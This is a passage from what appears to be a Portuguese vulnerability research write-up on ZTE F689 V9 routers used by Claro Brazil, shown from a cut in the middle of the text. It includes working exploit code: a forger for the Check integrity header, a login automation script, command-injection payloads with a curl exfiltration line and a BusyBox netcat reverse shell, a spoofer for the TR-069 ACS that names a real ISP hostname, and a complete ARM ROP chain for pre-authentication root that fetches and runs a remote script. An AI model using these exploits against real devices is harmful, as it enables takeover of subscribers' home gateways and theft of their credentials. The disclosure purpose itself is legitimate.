\u2014 mas sem canary, NX sozinho n\u00e3o impede ROP\n\n$ nm -D bin/httpd | grep -c fork\n0\n# httpd \u00e9 single-process, sem fork/vfork no handler de conex\u00e3o\n\n\nNo Ghidra (ARM32 LE, base 0x00000000 para non-PIE), a fun\u00e7\u00e3o check_data_integrity@0x23d58 decompila para:\n\n// httpd @ 0x23d58 \u2014 pseudoc\u00f3digo gerado pelo Ghidra, simplificado\nvoid check_data_integrity(http_request_t *req) {\n    char sb[256];            // buffer na stack em fp\u22120x11c\n    char check_b64[700];\n    unsigned char c_buf[700];\n\n    RSA *rsa = PEM_read_RSAPrivateKey(&quot;/etc/private-key.pem&quot;,\n                                       NULL, NULL, NULL);\n\n    int check_len = get_header_value(req, &quot;Check:&quot;, check_b64, 700);\n    if (check_len &lt;= 0) return;\n\n    int c_len = decode_base64(check_b64, c_buf);\n\n    // \u2190 VULNERABILIDADE: par\u00e2metro `to` sem limita\u00e7\u00e3o de tamanho de sa\u00edda\n    // RSA-4096 com PKCS#1: plaintext m\u00e1ximo = 4096/8 \u2212 11 = 501 bytes\n    // sb tem apenas 256 bytes \u2192 overflow de at\u00e9 245 bytes garantido\n    int m_len = RSA_private_decrypt(c_len, c_buf, sb, rsa, RSA_PKCS1_PADDING);\n\n    // A fun\u00e7\u00e3o continua comparando sb com SHA256(body)\n    // mas a stack j\u00e1 foi corrompida se m_len &gt; 256\n}\n\n\nA causa raiz \u00e9 a assinatura de RSA_private_decrypt: o par\u00e2metro to recebe o plaintext sem nenhum par\u00e2metro max_len. O chamador \u00e9 respons\u00e1vel por dimensionar o buffer \u2014 e aqui o buffer de 256 bytes \u00e9 incapaz de conter o plaintext m\u00e1ximo de 501 bytes de uma chave RSA-4096.\n\nControle Total do Conte\u00fado do Overflow\n\nO aspecto que transforma esse overflow em RCE completo sem nenhuma informa\u00e7\u00e3o secreta: o atacante controla o plaintext M usando apenas a chave p\u00fablica.\n\nRSA_private_decrypt(C) = M se e somente se C = RSA_public_encrypt(M). A chave p\u00fablica correspondente \u00e0 /etc/private-key.pem est\u00e1 dispon\u00edvel em texto claro em home/httpd/thinklua/template/commpage_status_comm.lp \u2014 e \u00e9 a mesma chave p\u00fablica em todos os dispositivos (CVE-C). Logo:\n\n\n\n\n\nAtacante escolhe payload M arbitr\u00e1rio de at\u00e9 501 bytes\n\n\n\n\nComputa C = RSA_public_encrypt(M) localmente (n\u00e3o precisa da chave privada)\n\n\n\n\nEnvia C em base64 no header Check: de um POST para /?_type=menuData\n\n\n\n\nhttpd decripta C \u2192 M, transbordando sb[256] com exatamente o conte\u00fado escolhido\n\n\n\n\nOverflow ocorre antes de qualquer autentica\u00e7\u00e3o \u2014 zero sess\u00e3o, zero credencial necess\u00e1ria\n\n\n\nCVSS: 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n\n\n6. Detalhes de Explora\u00e7\u00e3o\n\nConstruindo o Header Check\n\nA interface web rejeita qualquer POST cujo header Check n\u00e3o verifique contra o body do request. O dispositivo executa o lado public-key de uma verifica\u00e7\u00e3o de assinatura PKCS#1 v1.5: aplica a chave p\u00fablica RSA hardcoded ao valor do Check e compara o resultado com SHA256(body). Pra forjar um Check v\u00e1lido, voc\u00ea precisa da chave privada correspondente , que vem do webpri (passphrase Web!&amp;#XXXXX, via CVE-B):\n\nimport hashlib, base64\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Cipher import PKCS1_v1_5\n\nprivkey = RSA.import_key(open(&quot;etc/private-key.pem&quot;).read(),\n                          passphrase=&quot;Web!&amp;#XXXXX&quot;)\n\ndef make_check_header(post_body: str) -&gt; str:\n    digest  = hashlib.sha256(post_body.encode()).hexdigest()\n    cipher  = PKCS1_v1_5.new(privkey)\n    return base64.b64encode(cipher.encrypt(digest.encode())).decode()\n\n\nDetalhe de API que vale notar: Crypto.Cipher.PKCS1_v1_5.encrypt() chamado com uma chave privada executa exatamente a primitiva que o dispositivo espera , um padr\u00e3o de \"assinatura via encryption\" , mesmo que o nome do m\u00e9todo sugira encryption. O dispositivo ent\u00e3o aplica a opera\u00e7\u00e3o public-key e recupera o digest SHA256.\n\nCom essa primitiva em m\u00e3os, consigo produzir um Check v\u00e1lido pra qualquer body, pra qualquer sess\u00e3o, em qualquer dispositivo F689. Sem state de sess\u00e3o, sem contato com o dispositivo, sem negocia\u00e7\u00e3o. A prote\u00e7\u00e3o de integridade pretendida est\u00e1 completamente quebrada pra qualquer pessoa com acesso ao firmware.\n\nAutomatizando o Fluxo de Login\n\nA automa\u00e7\u00e3o completa do login, incluindo a sequ\u00eancia de token-chaining ligeiramente incomum:\n\nimport hashlib, re, requests\n\ndef zte_login(target, username, password):\n    sess = requests.Session()\n    sess.headers.update({\n        &quot;User-Agent&quot;: &quot;Mozilla/5.0&quot;,\n        &quot;X-Requested-With&quot;: &quot;XMLHttpRequest&quot;,\n        &quot;Origin&quot;: target,\n        &quot;Referer&quot;: target + &quot;/&quot;\n    })\n\n    # Passo 1: estabelecer cookie de sess\u00e3o\n    sess.get(target + &quot;/&quot;)\n\n    # Passo 2: obter o session token (usado no POST de login)\n    r = sess.get(target + &quot;/?_type=loginData&amp;_tag=login_entry&quot;,\n                 headers={&quot;Accept&quot;: &quot;application/json&quot;})\n    sess_token = r.json().get(&quot;sess_token&quot;, &quot;&quot;)\n\n    # Passo 3: obter o login token de uso \u00fanico (usado no hash da senha)\n    r = sess.get(target + &quot;/?_type=loginData&amp;_tag=login_token&quot;)\n    login_token = re.sub(r&quot;&lt;[^&gt;]+&gt;&quot;, &quot;&quot;, r.text).strip()\n\n    # Passo 4: gerar hash da senha\n    pwd_hash = hashlib.sha256((password + login_token).encode()).hexdigest()\n\n    # Passo 5: POST das credenciais\n    body = (f&quot;action=login&amp;Username={username}&quot;\n            f&quot;&amp;Password={pwd_hash}&amp;_sessionTOKEN={sess_token}&quot;)\n    r = sess.post(target + &quot;/?_type=loginData&amp;_tag=login_entry&quot;,\n                  data=body,\n                  headers={&quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;})\n\n    j = r.json()\n    if &quot;sess_token&quot; in j and not j.get(&quot;loginErrMsg&quot;):\n        # Passo 6: navegar pra p\u00e1gina alvo (estabelece o state no httpd)\n        sess.get(target + &quot;/?_type=menuView&amp;_tag=TRACEROUTEDiagnosis&amp;Menu3Location=0&quot;)\n        return sess, j[&quot;sess_token&quot;]\n    return None, None\n\n\nUma coisa que me mordeu cedo: voc\u00ea n\u00e3o pode s\u00f3 autenticar e imediatamente fazer POST num endpoint de dados. Voc\u00ea precisa navegar pra a p\u00e1gina menuView correspondente antes , caso contr\u00e1rio, o httpd retorna SessionTimeout mesmo com sess\u00e3o v\u00e1lida. O servidor mant\u00e9m state de \"em qual p\u00e1gina voc\u00ea est\u00e1\" e exige que o endpoint de dados bata com isso. Perdi algumas horas pra descobrir por que meus POSTs autenticados estavam sendo rejeitados.\n\nPoC da Inje\u00e7\u00e3o no Traceroute\n\nCom uma sess\u00e3o Level=1 (exige conta admin habilitada , n\u00e3o dispon\u00edvel em BCH da Claro, mas v\u00e1lido no firmware padr\u00e3o da ZTE):\n\ndef traceroute_inject(sess, target, sess_token, payload):\n    body = (\n        f&quot;IF_ACTION=TraceRouteDiagnosis&amp;_InstID=&amp;Control=&quot;\n        f&quot;&amp;Host=1.1.1.1&quot;\n        f&quot;&amp;Interface={payload}&quot;\n        f&quot;&amp;MaxHopCount=10&amp;Timeout=3000&amp;Protocol=UDP&quot;\n        f&quot;&amp;Btn_TraceRouteDiagnosis=&quot;\n        f&quot;&amp;_sessionTOKEN={sess_token}&quot;\n    )\n    check = make_check_header(body)\n    t0 = time.time()\n    r = sess.post(\n        target + &quot;/?_type=menuData&amp;_tag=networkdiag_traceroute_lua.lua&quot;,\n        data=body,\n        headers={&quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;,\n                 &quot;Check&quot;: check},\n        timeout=30\n    )\n    return time.time() - t0, r.text\n\n# Time-based blind injection\nelapsed, _ = traceroute_inject(sess, TARGET, token, &quot;%3Bsleep+5%3B&quot;)\nprint(f&quot;Elapsed: {elapsed:.2f}s&quot;)  # \u2265 5.0s confirma execu\u00e7\u00e3o\n\n\nPra exfiltra\u00e7\u00e3o com curl (presente no firmware via libcurl 7.59.0):\n\nInterface=;curl -s -m5 -X POST http://ATTACKER:9191/id -d &quot;$(id)&quot;;\n\n\nPra reverse shell via BusyBox (1.17.2, presente em /bin/busybox):\n\nInterface=;/bin/busybox nc ATTACKER PORT -e /bin/sh\n\n\nExplorando CVE-D , TR-069 ACS\n\nA explora\u00e7\u00e3o do ACS \u00e9 a mais impactante do ponto de vista de rede. Pra impersonar um dispositivo:\n\nimport uuid, requests\n\nACS = &quot;http://tr069.sdm.virtua.com.br:7547&quot;\n\ndef send_inform(oui, serial):\n    inform_xml = f&quot;&quot;&quot;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;\n&lt;soapenv:Envelope xmlns:soapenv=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;\n                  xmlns:cwmp=&quot;urn:dslforum-org:cwmp-1-0&quot;&gt;\n  &lt;soapenv:Header&gt;\n    &lt;cwmp:ID soapenv:mustUnderstand=&quot;1&quot;&gt;{uuid.uuid4()}&lt;/cwmp:ID&gt;\n  &lt;/soapenv:Header&gt;\n  &lt;soapenv:Body&gt;\n    &lt;cwmp:Inform&gt;\n      &lt;DeviceId&gt;\n        &lt;Manufacturer&gt;ZTE&lt;/Manufacturer&gt;\n        &lt;OUI&gt;{oui}&lt;/OUI&gt;\n        &lt;ProductClass&gt;ZXHN F689&lt;/ProductClass&gt;\n        &lt;SerialNumber&gt;{serial}&lt;/SerialNumber&gt;\n      &lt;/DeviceId&gt;\n      &lt;Event&gt;&lt;EventStruct&gt;&lt;EventCode&gt;0 BOOTSTRAP&lt;/EventCode&gt;&lt;/EventStruct&gt;&lt;/Event&gt;\n      &lt;MaxEnvelopes&gt;1&lt;/MaxEnvelopes&gt;\n      &lt;CurrentTime&gt;{datetime.utcnow().isoformat()}Z&lt;/CurrentTime&gt;\n      &lt;RetryCount&gt;0&lt;/RetryCount&gt;\n      &lt;ParameterList&gt;&lt;/ParameterList&gt;\n    &lt;/cwmp:Inform&gt;\n  &lt;/soapenv:Body&gt;\n&lt;/soapenv:Envelope&gt;&quot;&quot;&quot;\n\n    r = requests.post(ACS, data=inform_xml,\n                      headers={&quot;Content-Type&quot;: &quot;text/xml; charset=utf-8&quot;,\n                               &quot;SOAPAction&quot;: &quot;&quot;})\n    return r.status_code, &quot;InformResponse&quot; in r.text\n\n\nRodei isso 160 vezes com combina\u00e7\u00f5es aleat\u00f3rias de OUI/serial. 160 respostas HTTP 200 OK. 160 mensagens InformResponse. O ACS distribui tokens de sess\u00e3o pra quem pedir.\n\nExplorando CVE-J \u2014 RCE Pr\u00e9-Autenticado em Tr\u00eas Fases\n\nFase 1: Controle de PC via Epilogue ARM\n\nA fun\u00e7\u00e3o check_data_integrity em ARM32 termina com a instru\u00e7\u00e3o pop {r4,r5,r6,r7,r8,sb,fp,pc}. Com o buffer de 256 bytes transbordado, o layout da stack no momento do pop \u00e9 controlado pelo atacante em sua totalidade:\n\noffset 000\u2013255   sb[256]     \u2190 buffer transbordado (conte\u00fado do atacante)\noffset 256       saved r4    \u2190 CONTROLADO (M[256:260])\noffset 260       saved r5    \u2190 CONTROLADO (M[260:264])\noffset 264       saved r6    \u2190 CONTROLADO\noffset 268       saved r7    \u2190 CONTROLADO\noffset 272       saved r8    \u2190 CONTROLADO\noffset 276       saved sb    \u2190 CONTROLADO\noffset 280       saved fp    \u2190 CONTROLADO\noffset 284       saved pc    \u2190 CONTROLADO (M[284:288]) \u2190 PC HIJACK\n\n\nCom M de 285+ bytes, o atacante controla pc e todos os sete registradores r4\u2013r8, sb, fp simultaneamente. N\u00e3o \u00e9 necess\u00e1rio vazar nenhum endere\u00e7o \u2014 httpd \u00e9 non-PIE e todos os endere\u00e7os s\u00e3o fixos.\n\nFase 2: Cadeia ROP \u2014 Write-What-Where para .bss Fixo\n\nO .bss de httpd em 0x18ac40 \u00e9 um buffer global em endere\u00e7o fixo (non-PIE, n\u00e3o randomizado mesmo com randomize_va_space=2). A estrat\u00e9gia \u00e9 escrever um comando curto no .bss byte a byte via gadgets ROP e ent\u00e3o cham\u00e1-lo com system().\n\nGadgets identificados via ROPgadget:\n\n\n\n\nGadget\nEndere\u00e7o\nInstru\u00e7\u00e3o(\u00f5es)\n\n\n\n\nG.MOV\n0x3e0a8\nmov r0, r4; pop {r3,r4,fp,pc}\n\n\nG.STR\n0x88b34\nstr r0, [r4]; pop {r4,r5,sb,pc}\n\n\nG.CALL\n0xfe50c\nmov r0, r5; blx r4\n\n\nsystem@PLT\n0x19328\n\u2014\n\n\nsleep@PLT\n0x1955c\n\u2014 (usado para verifica\u00e7\u00e3o de timing)\n\n\n\n\nFluxo da chain ROP:\n\n1. PC \u2192 G_MOV (0x3e0a8):\n      r0 \u2190 r4  (chunk de 4 bytes do comando)\n      r4 \u2190 endere\u00e7o_destino_no_bss\n      pc \u2192 G_STR\n\n2. PC \u2192 G_STR (0x88b34):\n      mem[r4] \u2190 r0   \u2190 escreve 4 bytes no .bss\n      pc \u2192 G_MOV     \u2190 repete para pr\u00f3ximo chunk\n\n3. [repete N vezes at\u00e9 o comando estar completo no .bss]\n\n4. PC \u2192 G_CALL (0xfe50c):\n      r0 \u2190 r5 = 0x18ac40   \u2190 argumento de system()\n      blx r4 = blx system@PLT (0x19328)\n      \u2192 executa system(&quot;curl 192.168.0.12|sh&quot;)\n\n\nObserva\u00e7\u00e3o importante: r5 \u00e9 preservado durante toda a chain de escrita porque nem G.MOV nem G.STR o modificam. \u00c9 carregado uma vez no in\u00edcio como 0x18ac40 e permanece intacto at\u00e9 G.CALL us\u00e1-lo como argumento para system().\n\nPoC \u2014 exploits/httpd_rce_bsswrite.py (trecho):\n\nfrom pwn import p32, u32\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Cipher import PKCS1_v1_5\nimport base64, requests\n\n# Chave p\u00fablica extra\u00edda de home/httpd/thinklua/template/commpage_status_comm.lp\npubkey = RSA.import_key(open(&quot;exploits/pubkey.pem&quot;).read())\n\nG_MOV  = 0x3e0a8\nG_STR  = 0x88b34\nG_CALL = 0xfe50c\nSYSTEM = 0x19328\nBSS    = 0x18ac40\n\nCMD = b&quot;curl 192.168.0.12|sh.00&quot;   # 21 bytes, cabe no .bss\n\ndef write_chunk(val_4b, dest_addr):\n    &quot;&quot;&quot;Cadeia G_MOV + G_STR para escrever 4 bytes em dest_addr.&quot;&quot;&quot;\n    return (\n        p32(G_MOV)     +   # pc \u2192 G_MOV\n        p32(val_4b)    +   # r4 = valor \u2192 r0 (pelo G_MOV)\n        p32(dest_addr) +   # r4 = destino (para G_STR)\n        p32(0) * 2     +   # r3, fp (descartados)\n        p32(G_STR)     +   # pc \u2192 G_STR\n        p32(0) * 3         # r4, r5, sb (r5 n\u00e3o \u00e9 modificado \u2014 preserva BSS)\n    )\n\nrop = b&quot;&quot;\nfor i in range(0, len(CMD), 4):\n    chunk = u32(CMD[i:i+4].ljust(4, b&quot;.00&quot;))\n    rop += write_chunk(chunk, BSS + i)\nrop += p32(G_CALL)   # mov r0,r5; blx r4 \u2192 system(BSS)\n\n# Layout de M: 256 bytes de padding + registradores salvos + chain ROP\nM  = b&quot;.41&quot; * 256        # preenche sb\nM += p32(u32(CMD[:4]))    # r4 inicial = primeiro chunk do comando\nM += p32(BSS)             # r5 = 0x18ac40 = argumento de system()\nM += p32(0) * 3           # r6, r7, r8\nM += p32(0)               # sb\nM += p32(0)               # fp\nM += p32(G_MOV)           # PC \u2192 in\u00edcio da chain\nM += rop                  # chain ROP na stack estendida\n\nC = PKCS1_v1_5.new(pubkey).encrypt(M)\ncheck_b64 = base64.b64encode(C).decode()\n\nrequests.post(&quot;http://192.168.0.1/?_type=menuData&quot;,\n              headers={&quot;Check&quot;: check_b64,\n                       &quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;},\n              data=&quot;action=login&quot;)\n# HTTP 400 \u00e9 esperado \u2014 autentica\u00e7\u00e3o falhou, mas a chain ROP j\u00e1 executou\n\n\nFase 3: Execu\u00e7\u00e3o e Confirma\u00e7\u00e3o Root\n\nVerifica\u00e7\u00e3o de timing antes do staging:\n\nChain ROP com system(\"sleep 10\") via sleep@PLT 0x1955c: httpd trava por exatamente 10.81 segundos antes de ser respawnado pelo cspd. A chain funciona. ASLR \u00e9 completamente irrelevante.\n\nStaging HTTP:\n\nNo servidor do atacante em 192.168.0.12, servindo reverse_shell.sh via python3 -m http.server 80:\n\n192.168.0.1 - - [05/Jun/2026 03:47:12] &quot;GET / HTTP/1.1&quot; 200 -\n\n\nO dispositivo buscou o script. O shell foi estabelecido.\n\nExfiltra\u00e7\u00e3o de /proc/self/status:\n\nName:   sh\nUid:    0    0    0    0\nGid:    0    0    0    0\nCapEff: 0x3ffff7ffff\n\n\nCapEff: 0x3ffff7ffff = todos os capability bits de root ativados. Uid 0. Root confirmado.\n\nRobustez: cspd monitora e respawna httpd automaticamente ap\u00f3s cada crash. Durante o desenvolvimento dos PoCs, httpd sobreviveu a 68+ ciclos de crash/respawn sem qualquer instabilidade do dispositivo. Iterar o exploit \u00e9 completamente seguro.\n\nEncadeamento CVE-C + CVE-J: A \u00fanica informa\u00e7\u00e3o necess\u00e1ria do lado do atacante \u00e9 a chave p\u00fablica RSA \u2014 dispon\u00edvel no firmware p\u00fablico (extra\u00edvel sem autentica\u00e7\u00e3o via CVE-B) ou diretamente do HTML da p\u00e1gina de status sem autentica\u00e7\u00e3o. O ataque \u00e9 100% remoto, 100% pr\u00e9-autenticado, 100% n\u00e3o-interativo.\n\nPoCs completos: exploits/httpd_check_overflow.py (verifica\u00e7\u00e3o do reach pr\u00e9-auth), exploits/httpd_rce_bsswrite.py (chain ROP completa), exploits/exploit_shell_full.py (staging automatizado).\n\n\n\n7. Encadeando as Vulnerabilidades\n\nDescobertas individuais s\u00e3o interessantes. O encadeamento \u00e9 o que torna essa pesquisa significativa.\n\nCadeia 1: Comprometimento Remoto Completo (Sem Acesso F\u00edsico, Sem Coopera\u00e7\u00e3o do Assinante)\n\nPasso 1 , CVE-B: Baixa o firmware do servidor de update do ISP (HTTP sem auth)\n         \u2192 Extrai WebPrivateKey, DefAdNewPass do webpri\n\nPasso 2 , CVE-C: Usa WebPrivateKey pra forjar headers Check pra qualquer sess\u00e3o\n\nPasso 3 , CVE-H: Autentica com qualquer username + DefAdNewPass (senha admin)\n         \u2192 Obt\u00e9m sess\u00e3o login_right=1 (em dispositivos onde admin est\u00e1 habilitado)\n\nPasso 4 , CVE-G (traceroute): POST no endpoint de traceroute com shell payload\n         \u2192 Execu\u00e7\u00e3o de comando como root\n\nPasso 5 , CVE-E: L\u00ea /etc/shadow do filesystem do dispositivo, joga no hashcat\n         \u2192 Quebra a senha root \u2192 reutiliz\u00e1vel em todos os F689 V9\n\n\nO download do firmware sozinho d\u00e1 as credenciais necess\u00e1rias pra autenticar. A falha de autentica\u00e7\u00e3o (CVE-H) significa que voc\u00ea nem precisa saber o username exato. Se voc\u00ea est\u00e1 mirando um dispositivo n\u00e3o-BCH onde a conta admin est\u00e1 habilitada, a inje\u00e7\u00e3o no traceroute te d\u00e1 root. O hash do shadow d\u00e1 uma credencial root persistente em toda a popula\u00e7\u00e3o de dispositivos.\n\nCadeia 2: Ataque do Lado do ISP (Atacando Dispositivos de Assinantes a Partir da WAN)\n\nPasso 1 , CVE-D: Envia Inform ao ACS se passando pelo dispositivo alvo\n         \u2192 Recebe CWMPSessionToken pra a sess\u00e3o &quot;do dispositivo&quot;\n\nPasso 2 , CVE-D (continua\u00e7\u00e3o): Emite GetParameterValues ao ACS\n         \u2192 L\u00ea configura\u00e7\u00e3o completa do dispositivo incluindo credenciais\n\nPasso 3 , CVE-H: Usa a senha da conta ISP do assinante pra autenticar na interface web\n         \u2192 Funciona mesmo com username errado\n\nPasso 4 , CVE-F (TLS MitM): Usa a chave privada do cert TLS compartilhado + ARP spoofing\n         \u2192 Intercepta sess\u00f5es HTTPS do assinante pro roteador\n         \u2192 Captura credenciais passivamente\n\n\nEssa cadeia \u00e9 particularmente desagrad\u00e1vel porque os passos 1\u20132 exigem apenas acesso \u00e0 internet e conhecimento do serial number do dispositivo, que segue o padr\u00e3o CLARO_XXXXXX (deriv\u00e1vel do endere\u00e7o MAC, que \u00e0s vezes \u00e9 vis\u00edvel publicamente).\n\nCadeia 3: Variante Claro BCH (Limitada mas Realista)\n\nEm dispositivos Claro BCH especificamente, onde a conta admin est\u00e1 desabilitada e os endpoints de traceroute/tcpdump t\u00eam controle de acesso, a superf\u00edcie de ataque dispon\u00edvel \u00e9 mais estreita:\n\nCVE-B: Extrai credenciais do firmware (senha da conta ISP CLARO_6842C7)\nCVE-H: Login com qualquer username + senha conhecida\n       \u2192 sess\u00e3o login_right=2\nCVE-D: Acessa a infraestrutura do ACS como qualquer dispositivo\nCVE-C: Forja headers Check (\u00fatil pra automa\u00e7\u00e3o)\nCVE-F (TLS): MitM de sess\u00f5es HTTPS do assinante\n\n\nExecu\u00e7\u00e3o de comando root n\u00e3o est\u00e1 dispon\u00edvel sem a conta Level=1. Mas roubo de credenciais e abuso da infraestrutura ISP est\u00e3o.\n\nCadeia 4: RCE Pr\u00e9-Autenticado Total (Zero Credencial, Zero Sess\u00e3o \u2014 Qualquer Deployment)\n\nEsta \u00e9 a cadeia mais cr\u00edtica e a \u00fanica que n\u00e3o requer nenhuma credencial, nenhuma sess\u00e3o e nenhum acesso f\u00edsico \u2014 e funciona contra qualquer dispositivo F689 V9 em qualquer deployment, independente do ISP.\n\nPasso 1 , CVE-B + CVE-C:\n         Baixar firmware (HTTP sem auth) \u2192 extrair chave p\u00fablica RSA de\n         home/httpd/thinklua/template/commpage_status_comm.lp\n         (ou obter diretamente do HTML da p\u00e1gina de status sem autentica\u00e7\u00e3o)\n\nPasso 2 , CVE-J:\n         Construir payload M = [256B padding] + [r4=chunk1_cmd] + [r5=BSS_0x18ac40]\n                                + [r6-fp=0] + [pc=G_MOV_0x3e0a8] + [ROP chain]\n         Computar C = RSA_public_encrypt(M)\n         POST http://192.168.0.1/?_type=menuData\n              Header: Check: base64(C)\n         \u2192 httpd decripta C\u2192M, transborda sb[256], chain ROP executa:\n           G_MOV \u2192 G_STR (escreve &quot;curl attacker_ip|sh.&quot; no .bss 0x18ac40)\n           \u2192 G_CALL \u2192 system(0x18ac40)\n\nPasso 3:\n         Dispositivo faz GET para o servidor do atacante e executa o script\n         \u2192 shell reverso estabelecido\n\nResultado:\n         Uid: 0 0 0 0 / CapEff: 0x3ffff7ffff = ROOT\n         Sem login. Sem credencial. Sem intera\u00e7\u00e3o com o usu\u00e1rio alvo.\n         Funciona em todos os deployments F689 V9 com httpd ativo.\n\n\nPor que essa cadeia \u00e9 diferente de todas as outras: As cadeias 1\u20133 requerem algum fator \u2014 credencial do ISP, acesso \u00e0 conta admin, conhecimento do serial number. A cadeia 4 requer apenas a chave p\u00fablica RSA (p\u00fablica por defini\u00e7\u00e3o) e acesso de rede \u00e0 porta 80/443 do dispositivo. \u00c9 o cen\u00e1rio de amea\u00e7a mais severo poss\u00edvel para um dispositivo de rede residencial.\n\n\n\n8. An\u00e1lise de Impacto\n\nConfidencialidade\n\nUma explora\u00e7\u00e3o bem-sucedida de qualquer um dos caminhos de RCE (CVE-G, inje\u00e7\u00e3o no traceroute) d\u00e1 acesso root ao filesystem. A partir dessa posi\u00e7\u00e3o:\n\n\n\n\n\nLer /etc/shadow (hash root compartilhado entre todos os dispositivos , quebra uma vez, usa em todo lugar)\n\n\n\n\nLer /etc/hardcode e descriptografar webpri (todas as credenciais ISP/admin de todos os deployments)\n\n\n\n\nLer /etc/server-key.pem (chave privada TLS , habilita MitM HTTPS contra esse assinante)\n\n\n\n\nCapturar tr\u00e1fego de rede nas interfaces LAN e WAN (tcpdump como root)\n\n\n\n\nLer DHCP leases, tabelas ARP, lista de dispositivos conectados\n\n\n\nDo lado do ACS (CVE-D), um atacante pode emitir GetParameterValues pra ler:\n\n\n\n\n\nConfigura\u00e7\u00e3o do dispositivo (todas as credenciais ativas em texto claro)\n\n\n\n\nEndere\u00e7os MAC e IPs dos dispositivos conectados\n\n\n\n\nCredenciais VoIP (usu\u00e1rio/senha SIP)\n\n\n\n\nPSK do WiFi\n\n\n\nIntegridade\n\nAcesso root significa acesso de escrita total ao dispositivo:\n\n\n\n\n\nModificar regras do iptables (expor servi\u00e7os, redirecionar tr\u00e1fego, bypass de firewall)\n\n\n\n\nModificar configura\u00e7\u00e3o de DNS (apontar o DNS do assinante pra um resolver controlado pelo atacante)\n\n\n\n\nInstalar backdoor persistente via cron ou startup script modificado\n\n\n\n\nModificar configura\u00e7\u00e3o do cliente TR-069 pra apontar pra um ACS controlado pelo atacante\n\n\n\n\nEmpurrar firmware malicioso via RPC Download do ACS (CVE-D)\n\n\n\nO \u00faltimo ponto \u00e9 o mais severo: com autentica\u00e7\u00e3o do ACS ausente (CVE-D), um atacante poderia teoricamente forjar uma resposta RPC Download direcionando um dispositivo alvo a baixar e instalar firmware controlado pelo atacante. Isso seria um comprometimento permanente, persistente e irrecuper\u00e1vel de um gateway residencial.\n\nDisponibilidade\n\n\n\n\n\nLoop de reboot via cron\n\n\n\n\nBricking do dispositivo por corrup\u00e7\u00e3o do bootloader (menos \u00fatil, mais destrutivo)\n\n\n\n\nBlack-hole da internet do assinante via manipula\u00e7\u00e3o da tabela de rotas\n\n\n\n\nDoS no servi\u00e7o VoIP limpando a configura\u00e7\u00e3o SIP\n\n\n\nEscala\n\n\u00c9 isso que eleva essa pesquisa de \"bug interessante em um dispositivo\" para \"problema de infraestrutura em escala nacional\". O firmware GUI_F689_2G_SIP_V9.0.10P4N10 \u00e9 implantado em toda a base de assinantes da Claro Brasil que tem o ZTE F689 V9. O ACS TR-069 em tr069.sdm.virtua.com.br:7547 gerencia todos esses dispositivos centralmente.\n\nCVE-D \u00e9 a vulnerabilidade mais perigosa desse conjunto n\u00e3o por causa do score CVSS isoladamente, mas porque d\u00e1 ao atacante um \u00fanico ponto de alavanca sobre todo dispositivo de assinante no escopo daquele ACS , potencialmente centenas de milhares de gateways residenciais.\n\n\n\n9. Li\u00e7\u00f5es Aprendidas\n\nLi\u00e7\u00e3o 1: Siga o Credential Store\n\nEm firmware embarcado, quase sempre existe um credential store. Encontr\u00e1-lo, entender sua criptografia e descriptograf\u00e1-lo frequentemente \u00e9 a \u00fanica coisa mais valiosa que voc\u00ea pode fazer no come\u00e7o de uma an\u00e1lise. Nesse dispositivo, o webpri era a chave-mestra que destravou chaves criptogr\u00e1ficas, passphrases e credenciais padr\u00e3o pra todos os outros componentes.\n\nO padr\u00e3o \u00e9 consistente entre fabricantes: credenciais s\u00e3o criptografadas com AES em repouso (bom), mas a chave de descriptografia \u00e9 derivada de outro arquivo no mesmo dispositivo (ruim), usando um algoritmo determin\u00edstico numa biblioteca compartilhada (pior). Uma vez que voc\u00ea reverse engineeria a deriva\u00e7\u00e3o, voc\u00ea tem tudo.\n\nLi\u00e7\u00e3o 2: Compare Handlers Irm\u00e3os\n\nA inje\u00e7\u00e3o no traceroute se tornou \u00f3bvia no momento em que eu a comparei com o handler do ping. Dois handlers, mesmo bin\u00e1rio, mesmo mecanismo de dispatch , um fortalecido, o outro n\u00e3o. Essa t\u00e9cnica de \"compara\u00e7\u00e3o entre irm\u00e3os\" \u00e9 extremamente eficiente pra achar corre\u00e7\u00f5es incompletas. Se voc\u00ea v\u00ea valida\u00e7\u00e3o no Handler A, imediatamente cheque o Handler B fazendo a mesma opera\u00e7\u00e3o conceitual. Desenvolvedores de firmware frequentemente consertam o bug em que trope\u00e7aram e esquecem do mesmo code path duas fun\u00e7\u00f5es adiante.\n\nLi\u00e7\u00e3o 3: A Arquitetura de Valida\u00e7\u00e3o Importa Mais Que a L\u00f3gica de Valida\u00e7\u00e3o\n\nO handler do ping tem boa valida\u00e7\u00e3o (ChkHost, ChkLanWanCon), mas ainda executa via execl(\"/bin/sh\", \"sh\", \"-c\", cmd). Isso significa que se a valida\u00e7\u00e3o for ignorada algum dia (via caminho TR-069, integer overflow ou erro de l\u00f3gica), voc\u00ea cai direto na execu\u00e7\u00e3o shell. A corre\u00e7\u00e3o certa n\u00e3o \u00e9 valida\u00e7\u00e3o melhor , \u00e9 execv passando argumentos separados, de modo que o shell nunca \u00e9 envolvido. Valida\u00e7\u00e3o \u00e9 defense-in-depth. execv \u00e9 seguran\u00e7a estrutural. Sempre defenda a corre\u00e7\u00e3o estrutural.\n\nLi\u00e7\u00e3o 4: A Configura\u00e7\u00e3o do ISP Faz Parte da Superf\u00edcie de Ataque\n\nA configura\u00e7\u00e3o BCH da Claro (desabilitar a conta admin, restringir direitos de acesso) \u00e9 um controle de seguran\u00e7a real e bloqueou dois dos meus caminhos de RCE. Mas n\u00e3o \u00e9 uma corre\u00e7\u00e3o de c\u00f3digo , o c\u00f3digo vulner\u00e1vel continua presente e compilado. Um provedor diferente, ou uma unidade Claro mal-configurada, exporia esses caminhos por completo. Quando voc\u00ea analisa firmware CPE, precisa entender n\u00e3o s\u00f3 o que o c\u00f3digo faz, mas como o ISP o configurou. Configura\u00e7\u00e3o \u00e9 parte da postura de seguran\u00e7a.\n\nLi\u00e7\u00e3o 5: Teste Din\u00e2mico Exige Entender o Modelo de Sess\u00e3o\n\nGastei v\u00e1rias horas frustrantes com sess\u00f5es v\u00e1lidas sendo rejeitadas pelo backend. O problema era que o httpd aplica um state de \"p\u00e1gina atual\" 